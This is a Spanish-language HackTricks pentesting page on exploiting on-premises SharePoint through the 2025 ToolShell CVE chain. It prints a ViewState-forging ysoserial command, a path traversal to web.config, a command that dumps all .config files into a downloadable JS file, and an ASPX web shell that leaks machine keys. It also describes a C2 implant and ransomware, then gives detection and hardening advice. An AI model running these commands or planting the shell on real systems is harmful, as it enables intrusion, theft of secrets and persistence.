Microsoft SharePoint – Pentesting & Exploitation
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Microsoft SharePoint (local) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, shells web, etc.) está presente, pero SharePoint también incluye cientos de páginas ASPX y servicios web propietarios que amplían drásticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerar, explotar y persistir dentro de entornos de SharePoint con énfasis en la cadena de explotación 2025 divulgada por Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 cadena de explotación (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Inyección de Código en ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
permite que se inyecte código arbitrario de Server-Side Include en la página, que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta Process.Start()
y dejar caer un ViewState malicioso.
2.2 CVE-2025-49706 – Bypass de Autenticación Inadecuado
La misma página confía en el encabezado X-Forms_BaseUrl para determinar el contexto del sitio. Al apuntarlo a /_layouts/15/
, se puede eludir la MFA/SSO impuesta en el sitio raíz sin autenticar.
2.3 CVE-2025-53770 – Deserialización de ViewState No Autenticada → RCE
Una vez que el atacante controla un gadget en ToolPane.aspx
, puede publicar un valor __VIEWSTATE
no firmado (o solo con MAC) que activa la deserialización de .NET dentro de w3wp.exe, lo que lleva a la ejecución de código.
Si la firma está habilitada, roba la ValidationKey/DecryptionKey de cualquier web.config
(ver 2.4) y forja la carga útil con ysoserial.net o ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Traversal de ruta / Divulgación de web.config
Enviar un parámetro Source
manipulado a ToolPane.aspx
(por ejemplo, ../../../../web.config
) devuelve el archivo objetivo, permitiendo la filtración de:
<machineKey validationKey="…" decryptionKey="…">
➜ forjar ViewState / cookies ASPXAUTH- cadenas de conexión y secretos.
3. Recetas de post-explotación observadas en la naturaleza
3.1 Exfiltrar cada archivo .config (variación-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
El debug_dev.js
resultante se puede descargar de forma anónima y contiene toda la configuración sensible.
3.2 Desplegar un shell web ASPX codificado en Base64 (variación-2)
powershell.exe -EncodedCommand <base64>
Ejemplo de carga útil decodificada (abreviado):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Escrito para:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
La shell expone puntos finales para leer / rotar claves de máquina que permiten forjar cookies ViewState y ASPXAUTH a través de la granja.
3.3 Variante ofuscada (variación-3)
La misma shell pero:
- colocada en
...\15\TEMPLATE\LAYOUTS\
- nombres de variables reducidos a letras individuales
Thread.Sleep(<ms>)
añadido para evasión de sandbox y bypass de AV basado en tiempo.
3.4 Puerta trasera multi-protocolo AK47C2 y ransomware X2ANYLOCK (observado 2025-2026)
Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell después de RCE inicial para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint:
AK47C2 – variante dnsclient
- Servidor DNS codificado:
10.7.66.10
comunicándose con el dominio autoritativoupdate.updatemicfosoft.com
. - Los mensajes son objetos JSON encriptados con XOR con la clave estática
VHBD@H
, codificados en hex y embebidos como etiquetas de subdominio.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Consultas largas son fragmentadas y prefijadas con
s
, luego reensambladas del lado del servidor. - El servidor responde en registros TXT que llevan el mismo esquema XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- La versión 202504 introdujo un formato simplificado
<COMMAND>::<SESSION_KEY>
y marcadores de fragmento1
,2
,a
.
AK47C2 – variante httpclient
- Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el cuerpo HTTP POST a través de
libcurl
(CURLOPT_POSTFIELDS
, etc.). - El mismo flujo de trabajo de tarea/resultado permite:
- Ejecución arbitraria de comandos de shell.
- Intervalo de sueño dinámico e instrucciones de kill-switch.
Ransomware X2ANYLOCK
- Carga útil de C++ de 64 bits cargada a través de side-loading de DLL (ver abajo).
- Emplea AES-CBC para datos de archivos + RSA-2048 para envolver la clave AES, luego añade la extensión
.x2anylock
. - Encripta recursivamente unidades locales y recursos compartidos SMB descubiertos; omite rutas del sistema.
- Deja una nota en texto claro
How to decrypt my data.txt
embebiendo un Tox ID estático para negociaciones. - Contiene un kill-switch interno:
if (file_mod_time >= "2026-06-06") exit(0);
Cadena de side-loading de DLL
- El atacante escribe
dllhijacked.dll
/My7zdllhijacked.dll
junto a un legítimo7z.exe
. w3wp.exe
generado por SharePoint lanza7z.exe
, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el punto de entrada del ransomware en memoria.- Se observó un cargador LockBit separado (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) que desencripta el shell-code y realiza DLL hollowing end3dl1.dll
para ejecutar LockBit 3.0.
info
El mismo Tox ID estático encontrado en X2ANYLOCK aparece en bases de datos filtradas de LockBit, sugiriendo superposición de afiliados.
4. Ideas de detección
Telemetría | Por qué es sospechoso |
---|---|
w3wp.exe → cmd.exe | El proceso de trabajo rara vez debería generar shell |
cmd.exe → powershell.exe -EncodedCommand | Patrón clásico de lolbin |
Eventos de archivo creando debug_dev.js o spinstall0.aspx | IOCs directamente de ToolShell |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs) | PoCs públicas invocan esta página |
Ejemplo de regla XDR / Sysmon (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Endurecimiento y Mitigación
- Parchar – Las actualizaciones de seguridad de julio de 2025 corrigen todas las cuatro CVEs.
- Rotar cada
<machineKey>
y secretos deViewState
después de un compromiso. - Eliminar el permiso de escritura de LAYOUTS de los grupos
WSS_WPG
yWSS_ADMIN_WPG
. - Bloquear el acceso externo a
/_layouts/15/ToolPane.aspx
a nivel de proxy/WAF. - Habilitar ViewStateUserKey, MAC habilitado, y EventValidation personalizado.
Trucos relacionados
- IIS post-explotación y abuso de web.config:
IIS - Internet Information Services
Referencias
- Unit42 – Explotación activa de vulnerabilidades de Microsoft SharePoint
- GitHub PoC – Cadena de explotación ToolShell
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Proyecto AK47 / Actividad de explotación de SharePoint y ransomware
- Microsoft Security Advisory – CVE-2025-53770 / 53771
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.